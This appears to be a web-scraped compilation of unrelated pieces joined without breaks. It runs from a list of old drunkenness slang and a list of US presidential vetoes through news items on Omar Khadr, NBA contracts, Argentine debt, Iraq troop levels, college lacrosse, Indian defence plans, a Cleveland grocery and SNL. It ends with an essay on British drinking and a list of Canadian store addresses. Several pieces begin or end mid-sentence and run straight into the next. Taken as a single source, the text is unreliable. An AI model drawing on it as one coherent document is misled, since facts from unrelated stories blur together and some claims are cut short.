Seen the French King,
The King is his Cousin,
Got Kib’d Heels,
Knapt,
Het his Kettle. L
He’s in Liquor,
Lordly,
He makes Indentures with his Leggs,
Well to Live,
Light,
Lappy,
Limber, M
He sees two Moons,
Merry,
Middling,
Moon-Ey’d,
Muddled,
Seen a Flock of Moons,
Maudlin,
Mountous,
Muddy,
Rais’d his Monuments,
Mellow, N
He’s eat the Cocoa Nut,
Nimptopsical,
Got the Night Mare, O
He’s Oil’d,
Eat Opium,
Smelt of an Onion,
Oxycrocium,
Overset, P
He drank till he gave up his Half-Penny,
Pidgeon Ey’d,
Pungey,
Priddy,
As good conditioned as a Puppy,
Has scalt his Head Pan,
Been among the Philistines,
In his Prosperity,
He’s been among the Philippians |
, 1966: Pocket vetoed S. 1674, A bill to authorize the Secretary of the Interior to make disposition of geothermal resources, and for other purposes. The bill was presented to the President on November 2, 1966. October 22, 1966: Pocket vetoed H.R. 3901, A bill for the relief of Miss Elisabeth von Oberndorff. The bill was presented to the President on October 28, 1966. October 22, 1966: Pocket vetoed H.R. 5688, A bill relating to crime and criminal procedure in the District of Columbia. The bill was presented to the President on October 25, 1966. October 22, 1966: Pocket vetoed H.R. 13955, A bill to establish the past and present location of a certain portion of the Colorado River for certain purposes. The bill was presented to the President on October 25, 1966. August 12, 1967: Vetoed H.R. 11089, An act to amend Title 5, United States Code, to provide additional group life insurance and accidental death and dismemberment insurance for Federal employees, and to strengthen the financial condition of the Employees' Life Insurance Fund. No override attempt made. December 8, 1967: Vetoed H.R. 162, A bill to grant the masters of certain U.S. vessels a lien on those vessels for their wages and for certain disbursements. No override attempt made. December 15, 1967: Pocket vetoed H.R. 1670, A bill for the relief of Dr. George H. Edler. The bill was presented to the President on December 12, 1967 September 4, 1968, Pocket vetoed H.R. 10915, A bill to amend section 202 of the Agricultural Act of 1956. The bill was presented to the President on July 31, 1968. The pocket veto occurred during a recess from August 2, 1968, until September 4, 1968. October 14, 1968: Pocket vetoed H.R. 159, A bill to amend Title II of the Merchant Marine Act, 1936, to create an independent Federal Maritime Administration, and for other purposes. The bill was presented to the President on October 18, 1968. October 14, 1968: Pocket vetoed H.R. 4939, A bill for the relief of Joseph H. Bonduki. The bill was presented to the President on October 14, 1968. October 14, 1968: Pocket vetoed H.R. 5677, A bill for the relief of Robert L. Miller and Mildred M. Miller. The bill was presented to the President on October 12, 1968. October 14, 1968: Pocket vetoed H.R. 10256, A bill to render the assertion of land claims by the United States based upon accretion or avulsion subject to legal and equitable defense to which private persons asserting such claims would be subject. The bill was presented to the President on October 14, 1968.
Richard Nixon [ edit ]
Twenty-six regular vetoes, seventeen pocket vetoes. Seven were overridden. There were no vetoes in the first session of the Ninety-first Congress.
October 17, 1972 – Veto of the Clean Water Act was overridden by Congress [22] (date is enactment date).
(date is enactment date). November 7, 1973 – Veto of the War Powers Act of 1973 was overridden in Congress (date is enactment date).
January 4, 1974 – Pocket vetoed a bill to provide federal funds for local purchases of buses for mass transportation.
March 6, 1974 – Vetoed an emergency energy bill
Gerald Ford [ edit ]
Forty eight regular vetoes, eighteen pocket vetoes. Twelve were overridden.
October 29, 1974 – Veto of H.R. 6624 Private Relief Bill for Burt, Pope and Kennedy (Miami Herald Reporters)
This bill would have provided for payment, "as a gratuity," of $45,482 to Mr. Burt and for similar payments of $36,750 each to the widow and son of Douglas E. Kennedy for injuries and other damages Mr. Burt and Mr. Kennedy sustained as a result of gunshot wounds inflicted by U.S. military personnel in the Dominican Republic in 1965.
I considered carefully the merits of this case, but could not approve it. Equitable considerations growing out of governmental actions have traditionally been the basis for private relief awards where no legal remedy is available. But the record clearly establishes that no such considerations are present in this case.
I urge that in the future Congress adhere to the traditional equity basis for awards, whether or not they have been recommended by the Court of Claims under Congressional reference procedures.[23][24]
Jimmy Carter [ edit ]
1977: Vetoed Department of Energy authorization bill.
1978: Vetoed bill to reduce federal firefighters' work week.
Congress overrode two of Carter's vetoes. Not since 1952 had a Congress controlled by the president's own party overridden a veto. On 5 June 1980, Carter vetoed a bill that repealed a crude oil import fee of $4.62 per barrel. The same day, the House voted 335–34 to override Carter's veto. The Senate followed suit the next day by 68 votes to 10. Carter's own party (the Democrats) had a 59-seat majority (276–157) in the House, and an eight-seat majority (58–41) in the Senate. In August 1980, Congress overrode his veto of a veterans' health care bill, by votes of 401–5 in the House, and 85–0 in the Senate.
Ronald Reagan [ edit ]
George H. W. Bush [ edit ]
Bill Clinton [ edit ]
George W. Bush [ edit ]
Twelve vetoes, including one veto whose status is disputed (Bush claimed it was a pocket veto; the Senate considers it to have been a regular veto):
Barack Obama [ edit ]
Twelve vetoes, the status of five of which is disputed (Obama considered them pocket vetoes, but since he returned the parchments to Congress, the Senate considers them regular vetoes):[39]
Donald J Trump [ edit ]
Trump has yet to veto any legislation presented to him by Congress.[53]
See also [ edit ]
Notes [ edit ]
References [ edit ]OTTAWA — Despite a vigorous protest from the Canadian government, a court in Alberta released Omar Khadr, a former child soldier in Afghanistan, on bail Thursday while he appeals his conviction by an American military tribunal.
Mr. Khadr, the only Canadian to be held at the Guantánamo Bay detention center in Cuba, was free for the first time since 2002. He was 15 when he was captured by American forces during a battle in Afghanistan. He pleaded guilty in 2010 to charges that he used a grenade to kill an American soldier, Sgt. Christopher Speer, during the battle, which left Mr. Khadr severely wounded.
Canada’s Conservative government reluctantly allowed Mr. Khadr to be transferred to Canada in 2012 to serve the remainder of his eight-year sentence in an Alberta prison.
Mr. Khadr, who is now 28, has repudiated his guilty plea, saying he entered it solely to get out of Guantánamo Bay. But he has not denied throwing the grenade. Instead, he maintains that he did so out of fear, and without any intent to kill Sergeant Speer.The league is changing, perhaps more rapidly and in more ways than ever. There's a stylistic revolution happening. Big behemoth big men are going the way of the dinosaur as motion filled, perimeter oriented players become en vogue. The financial landscape of the league is in a complete state of flux as everyone awaits the new TV deal. Foundational systems like the draft lottery are being questioned. And oh yeah, the rulebook governing the contracts between players and teams could be renegotiated. No biggie.
Given this uncertain climate, free agency this past June was particularly fascinating. Not only were players raking in more money than usual, they were also opting for shorter deals with lots of player options. In essence, players were taking greater control of their own careers and accepting the increased financial risk that goes along with it.
Much of this can be attributed to the short term changes the league is anticipating. Once the new TV money settles in, perhaps contracts will return to the way they were, simply with a much higher total value. Perhaps these trends toward short term contracts and greater player control are temporary. However, the recent CBA was built with an eye toward increased "player sharing" and the attitudes of players, particularly the elite, have been drifting this way for some time. These trends may have staying power making player movement the new normal.
Either way, these trends will make roster continuity much harder to achieve over the next few seasons. For a team like the Trail Blazers, who will be attempting a substantial rebuild over that time period, that's all that matters.
Roster continuity has been a hot topic within the basketball intelligentsia for some time. Obviously, continuity matters to some extent. Anyone who's played the game for two minutes knows it's easier when you understand the tendencies of the guys you're playing with. But talent has always trumped in this league and "continuity" has become a buzzword only in the last few years. Countless articles of all shapes and sizes investigated the phenomenon, trying to find some estimation of its importance. This valuation of stability is still very much up undefined but the Trail Blazers seems to have put their stake in the ground.
Last offseason (can I say that yet?), Portland was both an outlier and a poster boy for the emerging trends. In many ways, the new CBA screwed them out of their best chance at retaining LaMarcus Aldridge. The new rules prevented them from offering Aldridge a viable extension last year, after their remarkable victory over the Houston Rockets. This was by design and general manager Neil Olshey admitted the rule hurt them during a recent podcast with Zach Lowe. Losing Aldridge was a perfect example of the player sharing goals embedded in the new CBA.
While the Trail Blazers became exhibit A for the new NBA landscape, the way they reacted bucked the overall trend. Every guy the team signed committed to multiple years with no player options or came on a rookie contract that ends with restricted free agency. Damian Lillard - five years, no options. Al-farouq Aminu - four years, no options. Ed Davis - three years, no options. Mason Plumlee - rookie deal. Noah Vonleh - rookie deal. Maurice Harkless - rookie deal. The list goes on and the strategy was intentional. Olshey explained the rationale during that same podcast. They wanted control so that any player that blossomed would benefit the team rather than walk for nothing.
By doing so the Blazers displayed a commitment to continuity. Of course, as with any rebuild, they won't pass up an opportunity to acquire superior talent, but the key is that it will be their choice. Rather than letting players determine the fate of the franchise, the Trail Blazers have structured their contracts so that each guy will be in their system, developing under their coaches, and assimilating into their culture until the team decides otherwise.
This philosophy is in stark contrast with other many other rebuilding teams, most obviously the Philadelphia 76ers. Rather than stripping down to the studs and staying at that level for a number of years, Portland is investing in guys and betting on them long term. These players aren't some crazy long, young, D-League players working for minuscule salaries. They're legitimate NBA players, ready to contribute from day one, who happen to have significant upside. It's impossible to say who will still be on Portland's roster three years down the road but the chances of seeing familiar faces is a lot better than it is in Philadelphia.
Philadelphia has taken its approach because of an almost dogmatic focus on talent. For the past three years the only question they've asked themselves is how do we get our hands on the most elite players? The Trail Blazers, on the other hand, are valuing other things in addition to talent. They're hoping their players will grow together, trust one another, and become better than a collection of individuals. If they have the opportunity to make a blockbuster trade they'll take it but plan A appears to be building around Lillard with long tenured players that understand the system and complement his game.
Portland may have just experienced the most tumultuous summer in the franchise's history, but don't mistake that as a disregard for continuity. Every other decision points otherwise. Whether they are able to create such an environment in the new NBA, and how much it even matters, is yet to be determined, but I for one am excited to see them try.A stalemate involving the creditors and Argentina’s last president, Cristina Fernández de Kirchner, led the country to default on its debt again in 2014. The new administration of President Mauricio Macri has indicated that it wants to resolve the debt as part of a bigger move to reform Argentina’s economy.
Luis Caputo, the newly appointed finance secretary, and other senior government representatives met this week with principals at the hedge funds — including Mr. Elliott’s NML Capital unit, Aurelius Capital, Montreux Partners, Dart Management and Davidson Kempner — in Manhattan, according to a court-appointed arbiter Daniel A. Pollack. The group is seeking a resolution for claims totaling around $9 billion, he added.
In dispute is how much Argentina should pay in interest.
At a news conference in Buenos Aires announcing the deal with Italian bondholders, Argentina’s economic minister, Alfonso Prat-Gay, touched on the question of interest payments. “We have said that we will respect the bond principal and that we are going to be firm in negotiating the interest, and in this particular agreement we have achieved just that.”
But, Mr. Prat-Gay added, “The difficulty that we have right now is that some bondholders want to be paid an interest rate that, under any type of judicial criteria, is unacceptable.”
The battle between Argentina and its holdout creditors stems from 2001, when the country defaulted on billions of dollars in debt. Argentina offered to exchange the bonds it defaulted on for new bonds worth significantly less, a move that holdouts rejected. NML Capital sued Argentina seeking full repayment — principal and interest — and a Manhattan district court judge ruled that whenever Argentina paid one group of bondholders, it would also have to pay the holdouts.While Pentagon and Obama Administration officials continue to insist that their goal is to take over materially all of ISIS’ territory, and to do so within the next year, behind the scenes the push is to add ever more ground troops to Iraq.
While the political leadership continues to say “no boots on the ground,” the US already has nearly 4,000 ground troops in Iraq by itself, with 6,500 ground troops total between the US and its assorted coalition partners. Pentagon officials still don’t think that’s enough.
Last week, the Pentagon started talking up the deployment of another 800 US ground troops in the near term, centered on “training” operations. This comes amid US diplomats making the rounds across coalition nations, pressing them all to add more troops of their own.
The US seems to be able to add troops to the war without serious debate, so long as each escalation is kept small. Other nations have so far resisted the call to add more troops, however, with nations like Australia saying they believe they’ve contributed enough.
Such incremental escalation of the war seems to be making it harder to sell the other nations on each new contribution they’re expected to make, since they naturally come without any real endgame, and no guarantee that the next push for a vague deployment of “more” isn’t going to be immediately followed by another.
Last 5 posts by Jason DitzConor Gately (left) and Travis Schelhorn have helped Marquette’s lacrosse team become ranked in the top 20 national poll. Credit: Angela Peterson
By of the
A new lacrosse program began with an ambitious coach and a 5-foot-5 defender who no other Division I school recruited.
Four years later, the Marquette University men have landed in the top 20 national poll even though the team doesn't have a locker room, a friendly climate, a nearby place to practice or much of a home schedule.
But instead of seeing setbacks, Marquette sees the opportunity to get tough.
"I want kids who will fight for everything they get in life," said Golden Eagles coach Joe Amplo. "Who say, 'Let's do something really challenging. Let's go to Wisconsin, let's start a Division I program and let's play against the best teams in the country.'"
That will happen Saturday against No. 6 Duke at Hart Park in Wauwatosa — and No. 15 Marquette expects to make it competitive because this team got very good very quickly.
It started with Amplo. During his time as player and coach at Hofstra, he participated in 11 NCAA championships. But the native of Farmingville, N.Y., relocated his wife and three daughters for Marquette in 2011. He said it wasn't to blaze a trail — although MU is the only Division I program in the state (the Wisconsin Badgers have a non-NCAA team). He said it wasn't for money. Or notoriety.
"I felt my philosophies as a coach matched the university's mission: Trying to get the most out of people — while challenging and supporting them," said Amplo.
He would learn how brutal the winters could be, and how they would still grip the area in February, when the season starts.
MU plays just three of its 15 regular-season games at home in Milwaukee because of the bad weather, the lack of a suitable indoor practice facility and the fact MU can't persuade opponents to come here.
Plans for a new multipurpose indoor facility were revealed to the public Jan. 29, but until that's a reality, MU practices indoors at Uihlein Soccer Park, 15 miles north of campus, or outdoors in the always-windy Valley Fields on Canal St.
"It's cold. That's a challenge we have to overcome," said Amplo. "We have to make it as much a positive as a negative. No other team is practicing in colder weather. It makes us even more tough."
But to get this thing started, Amplo needed the right kind of recruits.
B.J. Grill was a very good player at Bridgewater-Raritan High School in New Jersey, but when he only got looks from Division III schools, he planned to go to Pittsburgh to study political science. He thinks his 5-5 stature hurt him, but when Amplo took the Marquette job, Grill's high school coach made a brief introduction. Grill then spoke to Amplo for the first time on the phone and, according to the pair, it went like this:
"I'm coming to Marquette," Grill said.
"OK. Great. Two things," Amplo told Grill. "You don't know where Marquette is. And I've never seen you play."
"Don't worry, I'm not going to disappoint you."
Amplo considered this. Why not? This was the kind of kid he could work with. Grill became MU's first men's lacrosse player.
"My first year, we didn't even have a season — so people didn't even know if we existed," said Grill.
But Marquette gave Amplo full financial support, meaning it fully funded the Division I roster with the men's lacrosse maximum 12.6 scholarships per team (which are allocated as each program sees fit).
Others joined that first class to fill the 47-man roster: Liam Byrnes, K.C. Kennedy, Travis Schelhorn, Tyler Gilligan. Dan Mojica and Kyle Whitlow. Whitlow, along with Conor Gately and Jordan Greenfield, lead the offense. Grill is one of the best defensemen in the country — he was first-team all-Big East Conference last year.
"He turned out to be our best player," said Amplo. "And he's one of our best kids. He's the kind of kid who comes around once in a generation as a coach."
Gately might have ended up at Hofstra or Fairfield, but his parents, an uncle and an aunt all attended Marquette, so he came, too. However, like all the upperclassmen, he has essentially forfeited a home schedule to build this program — games at East Coast schools can draw 5,000 people.
"It's not something I'm going to regret," said Gately. "I've had a chance to travel the road with guys I've built great relationships with. And someday I will be able to say, 'These kids are playing in a great facility because of the team that I helped start with my great group of guys.'"
Gately is MU's first Tewaaraton Award nominee (the Heisman for lacrosse).
Even if you don't know anything about the sport, you can count on this: The Golden Eagles go after the all-important ground balls. This is a significant part of the game, because it means more possessions, and MU goes after them with flying bodies. Offensively, the Golden Eagles are not always pretty, but in the half-court sets they're successful, in part because MU is third in the country in fewest turnovers, averaging 11.5. Anything under 12 is considered good.
It's all reflective of Amplo's go-getter style.
"He's one of the most intense human beings I've ever met," said Grill. "We all take from him and attribute that into our own playing styles."
MU started the season strong with one-goal wins over Lehigh, Hofstra and Richmond as well as a 10-9 victory over Ohio State on March 1. The Golden Eagles found themselves nationally ranked after 31 games in program history — believed to be the quickest rise ever for a new program into the polls in college lacrosse.
"It's shocking. It's just not done," said Duke coach John Danowski. "It's a great tribute to Coach Amplo, his staff...and his students. To do what they did is spectacular. I voted for Joe for coach of the year last year — and he's got my vote again."
Now comes another big test for Marquette — Danowski's Duke squad, the two-time defending national champion.
"They're the bluebloods of lacrosse," said Grill.
"This is the first year in the three years that we've existed that we feel like if we play well, we have a legitimate chance to compete with these guys," said Amplo.
On Thursday, Danowski told his team this was a unique experience for the Blue Devils.
"When I was growing up in the sport, no one would have ever dreamed to go to Milwaukee to play lacrosse," said Danowski. "Twenty-five years ago, there was no lacrosse in the Midwest."
Danowski and Duke feel a responsibility to help grow the game, so that's why they're flying to Milwaukee on Friday night, and then leaving after the game for Chicago — because there were no commercial flights home out of Milwaukee.
The Blue Devils are looking forward to the game. There is a dedicated lacrosse community to support MU. The last time Marquette played Duke there were 4,000 fans in the stands.
"We'll get busloads of fans from Minnesota on Saturday," said Amplo. "We'll get fans from Madison, from Green Bay. Busloads of kids from Chicago."
After that MU plays Denver, the Big East tournament and possibly the NCAA tournament. The Big East tourney won't be easy; with Denver, Georgetown and Villanova, the conference is regarded as second-toughest behind the Atlantic Coast Conference.
A tested team, MU should be ready.
"I truly believe those early growing pains have helped us become a stronger team," said Amplo. "When we're down four goals in a game, we go back to: 'Fellas. You've been on a bus to go to practice. You've practiced in 10-degree weather. This is not challenging. This is fun. We can do this.'"File photo: Army men near the Indo-China border
© Thomson Reuters 2015
The government has scaled back an ambitious plan to establish a new army corps to counter Chinese conventional forces across the Himalayas, defence sources said, pouring funds instead into a new aircraft carrier and border roads.Stung by a 21-day face off on the disputed border two years ago, the previous Congress-led government had announced the establishment of a mountain strike force consisting of 90,000 troops, estimated to cost $10 billion or Rs 63 thousand crores and equipped with modern weaponry.But Defence Minister Manohar Parrikar has ordered the force be 25-30,000 strong, according to sources, saying the previous government had not thought through the costs involved in raising and equipping such a corps at a time when existing army units are short of everything from field guns to ammunition."The reason for cutting down is finances," said a military official. "It's not just a question of raising a corps, it's about maintaining it."India and China share a 3,500 km border that has remained in dispute since a brief war in 1962 that ended in a disastrous defeat for India.Because the two armies cannot agree where the line of actual control lies, patrols have ended up in territory claimed by the other side, raising tensions.However, no shot has been fired across the remote frontier, and on Friday, the two countries proposed fresh measures to stabilise the border during Prime Minister Narendra Modi's visit to China.Retired brigadier Arun Sahgal, who led the integrated defence staff's long term strategic assessments division, said the plan now was to raise a smaller rapid reaction force to be deployed on the Chinese border."The idea is to create an interventionist force that can operate in the mountains," he said. In the second phase, the army will likely add air assault divisions and special forces. "They are not winding down the corps, they are adjusting it to the right size."China has built a network of airfields and roads just over the border with India that give its troops mobility which India lacks.Defence Minister Parrikar told Parliament last month he was pushing for faster construction of roads on the Indian side. He said only 19 of 73 road links identified as strategic on the Chinese border had been completed.While funds have been tightened for the army, the government this week pressed ahead with plans to build its biggest warship, a 65,000-tonne aircraft carrier that the United States has said it is interested in collaborating in. India wants US flight launch technology that will allow heavier jets to operate from the proposed new carrier, and in January, during President Barack Obama's visit to India, the two countries agreed to set up a group to explore cooperation in carrier technology.CLEVELAND, Ohio -- Heinen's Fine Foods, a suburban shopping stalwart, plans to step into the city next year with a 33,000-square-foot store in the heart of downtown Cleveland.
The homegrown grocer, led by twin brothers Jeff and Tom Heinen, will occupy a key corner at East Ninth Street and Euclid Avenue. Their store will anchor the northern edge of a huge project -- the transformation of the former Ameritrust complex into a hotel, apartments, offices and Cuyahoga County's new headquarters.
Developer Greg Geis confirmed that he is finalizing a 15-year lease with Heinen's and hopes to open the market, and the rest of the rehabbed complex, in fall 2014. That will make Heinen's downtown's first -- and likely only, in the near term -- major grocer, as the local company bets on continued residential growth in the center city.
The store will fill the first two floors of the historic Rotunda and the first floor of the neighboring Swetland Building, at 1010 Euclid Ave.
"It's a risky deal," said Jeff Heinen, a co-owner of the Warrensville Heights company. "We're hopeful that the growth of population continues to happen. For this particular site, we're willing to take the risk."
Amid Cleveland's broader population losses, downtown has been a bright spot. U.S. Census estimates place the 2013 downtown population at roughly 10,000 people -- or closer to 11,000, depending on where you draw the boundary lines. The Downtown Cleveland Alliance, which represents property owners, says its surveys indicate there are nearly 12,000 residents. And that number is rising.
"We've got about 1,000 new (apartments) that are coming online or will be under construction shortly," said Joe Marinucci, the alliance's chief executive officer. "We estimate that we'll be close to 14,000 people in about 18 months."
That's a dramatic jump from a decade ago, but it's still far below the threshold that most major retailers want to see. Heinen's won't necessarily lead a procession of stores back to the city from the suburbs, analysts say, but the grocer will provide a much-desired service for city-dwellers and act as a powerful magnet for new residents.
"This is very, very positive for the city of Cleveland," said Bob Antall, a retail consultant in Shaker Heights. "The clientele of Heinen's tends to be more middle- and upper-income, so they've got to have that demographic going for them. It is definitely surprising, but I think that they're an intelligent company that does their homework on this sort of thing."
Downtown Cleveland hasn't got many grocery stores. But there are a few to keep the new Heinen's company.
Downtown isn't a food desert. Constantino's Market, on West 9th Street in the Warehouse District, expanded three years ago and offers a mix of fresh, prepared and packaged foods. Convenience stores and drug stores sell basic items. The West Side Market and two Dave's Markets are a short drive away.
But residents want more options. And Heinen's, which has been eyeing downtown for a decade and came close to a deal at the Flats East Bank project before the recent recession, is entering the market at a critical time. Analysts say a 33,000-square-foot store will more than fill the need downtown, making it unlikely that other grocers will follow anytime soon.
"If you wait until the population gets there, you're too late. Somebody else probably beat you to it," said David Livingston, a Wisconsin supermarket analyst who last studied downtown Cleveland in 2006. "Between now and the time they open, they're looking at population growth. And between the time they open and the time they mature, they're looking at more population growth."
During a recent focus group arranged by the Downtown Cleveland Alliance, the Heinen brothers heard requests for high-quality produce and enough variety to satisfy home chefs. One retired couple, longtime downtown residents who live at the Pinnacle Condominiums in the Warehouse District, said they do most of their shopping at Whole Foods and Trader Joe's in the eastern suburbs.
Joe Gramc, a 30-year-old who lives in the Avenue District apartments and commutes to Willoughby, also shops in the suburbs, at Heinen's or Giant Eagle. Every week, he picks up a bag of food collected from Northeast Ohio farms, through a community-supported agriculture program.
"If there was a grocery store downtown, I would still eat out a good amount," said Gramc, who works for his family's trucking business. "But I probably would cook more. When I get home and I don't have anything to cook at my place, if I want to go shopping anywhere it's a 10- to 15-minute trip each way to get something decent."
Potential shoppers including Suzanne Ryan, who sold her house in Westlake two years ago and moved into the WT Grant lofts on Euclid Avenue, said they would gladly walk a few blocks or take the free trolley to Heinen's.
The Heinen brothers are banking on that foot traffic, since their downtown store won't have free, controlled parking -- a critical element of the suburban supermarket formula.
"We have no intention right now to be associated with free parking," Tom Heinen said. "Based on the concepts we have, we don't need parking. The walking market clearly goes from Cleveland State down to the Flats."
Still, Geis said he is working with the city to carve out metered spaces and pick-up and drop-off points on Euclid and East Ninth. And Tom Heinen said the downtown store might offer online ordering and curbside pick-up.
"Parking would bother me," Livingston said. "I've got a feeling that they're going to find a way. This is Cleveland. This isn't Manhattan. There aren't 60-story apartment towers up above the store where you can depend on having a quarter-mile trade area and 20,000 people. That's not here."
Leaders at the Geis Cos., which bought the former Ameritrust complex early this year and started calling it the M on 9th, still are circumspect about other details of their redevelopment plan -- including the number of apartments and the nature of the hotel.
Geis, who leads the family of companies with his brother, Fred, is wrapping up financing for the Heinen's project. He would not discuss the terms of his deal with the grocer, beyond saying it's not a typical suburban transaction.
It's also not a typical suburban building. This will be a small store for Heinen's, which has 17 Northeast Ohio locations and recently expanded to Chicago, with a standard footprint of 42,000 square feet. The Rotunda, an ornate, round space once filled with bank tellers, will be a challenge for a business that uses square display cases and rectangular shelves.
The brothers said they're still playing with the downtown store layout and product mix, but they won't necessarily be selling pet food or 24-roll packages of toilet paper.
Antall, the local retail consultant, says Heinen's probably won't lose money on the deal -- but it won't be as profitable, short-term, as the company's suburban stores.
Jeff and Tom Heinen acknowledge that risk, but they're confident about their decision. And this deal is about more than dollars for a family business that started in 1929 as a small butcher shop on Cleveland's east side.
"Heinen's always makes long-term commitments, and this is the town we live in," Jeff Heinen said.
His brother jumped in: "There isn't anybody who lives in any city or major metro area that isn't enhanced by the city being vibrant or stronger. This helps everybody. We're hoping this isn't an act of charity."“Hamilton” creator and star Lin-Manuel Miranda will host an episode of “Saturday Night Live” on Oct. 8, NBC announced Wednesday.
The Broadway star — who has recently gotten involved in a number of film projects including Disney’s “Moana” and the upcoming “Mary Poppins” sequel with Emily Blunt and Meryl Streep — will be joined on the comedy sketch show by musical guest Twenty One Pilots.
Miranda recently appeared on the cover of Variety‘s Gotham issue, and spoke about how his life has changed since the cultural and critical force of “Hamilton” launched him to fame.
“When I wake up in the morning, I feel the same,” he told Variety’s Gordon Cox. “It’s really when I leave the house that’s the measure of how different the world is, coming out here and being a selfie magnet in the streets of New York City.”
In addition to “Hamilton,” Miranda is also known for creating the Tony award winning musical “In the Heights.” Among his many accolades are a MacArthur “Genius” Award, a Pulitzer prize, two Grammys and an Emmy.
The 42nd season of “Saturday Night Live” will premiere Oct. 1 on NBC with Margo Robbie to host alongside musical guest The Weeknd.I first met alcohol in the late 1980s. It was the morning after one of my parents’ parties. My sister and I, aged nine or 10, were up alone. We trawled the lounge for abandoned cans. I remember being methodical: pick one up, give it a shake to see if there’s anything inside and, if there is, drink! I can still taste the stale, metallic tang of Heineken on my tongue. Just mind the ones with cigarette butts in.
But it was at university that booze and I became properly acquainted. My memory of my first week is of social anxiety offset by cheap alcohol – a harbinger of the next four years. At one ball, I drank so much free wine that I vomited the stud out of my nose and down the sink. My diary entry that night consisted of four oversized words scrawled in turquoise pen: “drunk + sick / Freshers’ Ball”. But that was how it was: sometimes you were the one bundling people into a taxi, sometimes you were the one being bundled.
Recently, I started to wonder if my generation’s relationship with alcohol was abnormal. When I looked into the numbers, I realised that it was.
I discovered that 2004 was Peak Booze: the year when Brits drank more than they had done for a century, and more than they have done in the decade since. Leading the way to this alcoholic apogee were those of us born around 1980. No other generation drank so much in their early 20s. Why us?
In 2004, we were drinking 9.5 litres of pure alcohol – the equivalent of more than 100 bottles of wine – each year
Everyone in alcohol research knows the graph. It plots the change in annual consumption of alcohol in the UK, calculated in litres of pure alcohol per person. (None of us drinks pure alcohol, thankfully; one litre of pure alcohol is equivalent to 35 pints of strong beer.) In 1950, Brits drank an average of 3.9 litres per person. Look to the right and at first the line barely rises. Then, in 1960, it begins to creep upward. The climb becomes steadier during the 1970s. The upward trajectory ends in 1980, but that turns out to be temporary. By the late 1990s consumption is rising rapidly again.
Come Peak Booze, in 2004, we were drinking 9.5 litres of alcohol per person – the equivalent of more than 100 bottles of wine – each year.
It’s impossible to untangle the forces behind the graph’s every rise and fall, but I’ve talked to researchers who have studied our relationship with alcohol. They told me how everything from recessions to marketing to sexism has shaped the way the British drink. This is the story of that research, and of what it tells us about the ascent to Peak Booze. It begins more than half a century ago, in the pub.
The postwar pub
During the late 1930s, a group of observers set out to record what went on in British pubs. The result was a book called ‘The Pub |
3310 8th St E, Saskatoon
EB Games - 701 CN Tower, Saskatoon
Toys R Us - 300 Idylwild S, Saskatoon
Wal-Mart - 225 Betts Ave, Saskatoon
Future Shop - #221 - 1723 Preston Ave N, Saskatoon
The Source - 21St St & 1St Ave S, Saskatoon
The Source - 300 Confederation Dr, Saskatoon
MANITOBA
Wal-Mart - 1016 Manitoba Ave, Selkirk
Best Buy - 810 St James St, Winnipeg
Best Buy - #10 - 1580 Regent Ave W, Winnipeg
EB Games - #161A - 1485 Portage Ave, Winnipeg
The Source - #L181 - 1485 Portage Ave, Winnipeg
EB Games - #86 - 1225 St Mary's Rd, Winnipeg
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EB Games - 100 - 915 Empress St, Winnipeg
EB Games - #1 - 157A Regent Ave W, Winnipeg
Future Shop - 850 St James St, Winnipeg
Future Shop - 1570 Regent Ave W, Winnipeg
Future Shop - 783 Leila Ave, Winnipeg
Future Shop - #6 - 1910 Pembina Hwy, Winnipeg
The Source - #133 - 2305 Mc Phillips St, Winnipeg
Toys R Us - 1445 St Mathews Ave, Winnipeg
Toys R Us - 1560 Regent Ave W, Winnipeg
The Source - #0140 - 393 Portage Ave, Winnipeg
Wal-Mart - 54 - 1225 St Mary's Rd, Winnipeg
ONTARIO
Best Buy - 20 Kingston Rd W, Ajax
EB Games - #D6 - 40 Kingston Rd E, Ajax
Future Shop - #1 - 1110 Wilson St, Ancaster
Best Buy - 2 - 52 First Commerce Dr, Aurora
Best Buy - 100 Mapleview Dr E Unit 2, Barrie
EB Games - #D21 - 509 Bayfield St, Barrie
Future Shop - 411 Bayfield St, Barrie
Future Shop - 100 Mapleview Dr E Unit 4 Bldg 1-3, Barrie
The Source - 277 Bayview Dr, Barrie
Toys R Us - 555 Bayfield St, Barrie
Wal-Mart - 35 Mapleview Dr, Barrie
Wal-Mart - 450 Bayfield St, Barrie
EB Games - #L6 - 390 Front St N, Belleville
Future Shop - 167 Bell Blvd, Belleville
Toys R Us - 390 Front St N, Belleville
Wal-Mart - 2320 Highway #2, Bowmanville
Best Buy - #45 - 25 Peel Centre Dr, Brampton
Future Shop - #149 - 70 Great Lakes Dr, Brampton
EB Games - #253B - 25 Peel Centre Dr, Brampton
EB Games - #17 - 2880 QUEEN St E, Brampton
Future Shop - 9145 Airport Road, Brampton
The Source - #133 - 150 Great Lakes Dr, Brampton
The Source - #134 - 25 Peel Centre Dr, Brampton
Toys R Us - 150 West Dr, Brampton
EB Games - 300 King George Rd, Brantford
Future Shop - 61 Lynden Rd, Brantford
Wal-Mart - 300 King Georges Rd, Brantford
Wal-Mart - 1942 Parkedale Ave E, Brockville
Best Buy - #1 - 1200 Brant St, Burlington
EB Games - #77A - 777 Guelph Line, Burlington
Future Shop - 3060 Davidson Court, Burlington
The Source - #A1 - 900 Maple Ave, Burlington
The Source - #D3A 777 Guelph Line, Burlington
Toys R Us - 3051 Appleby Line, Burlington
Best Buy - 28 Pinebush Rd, Cambridge
EB Games - 355 Hespeler Rd, Cambridge
Future Shop - 18 Pinebush Rd, Cambridge
Wal-Mart - 22 Pinebush Rd, Cambridge
Future Shop - 802 St Clair St, Chatham
Wal-Mart - 73 Strathy Rd, Cobourg
The Source - 1 Water St, Cornwall
EB Games - #134B - 101 Osler Dr, Dundas
Best Buy - 147 Laird Dr, East York
EB Games - #6A - 3003 Danforth Ave, East York
Future Shop - 845 Eglinton Ave E, East York
Best Buy - 167 Queen St N, Etobicoke
EB Games - 181 North Queen St, Etobicoke
Toys R Us - 690 Evans Ave, Etobicoke
Wal-Mart - 165 Queen St N, Etobicoke
Future Shop - 1525 City Park Dr, Gloucester
EB Games - #L2 - 435 Stone Rd, Guelph
Future Shop - 151 Stone Rd W, Guelph
The Source - 435 Stone Road W, Guelph
Wal-Mart - 11 Woodlawn Rd W, Guelph
EB Games - #205 - 999 Upper Wentworth, Hamilton
EB Games - 1508 Upper James St, Hamilton
Future Shop - 1565-B Upper James St, Hamilton
Future Shop - 2500 Barton St E, Hamilton
The Source - #237D - 999 Upper Wentworth St, Hamilton
The Source - 2 King St W, Hamilton
Toys R Us - 970 Upper Wentworth St, Hamilton
Wal-Mart - 2190 Rymal Rd E, Hannon
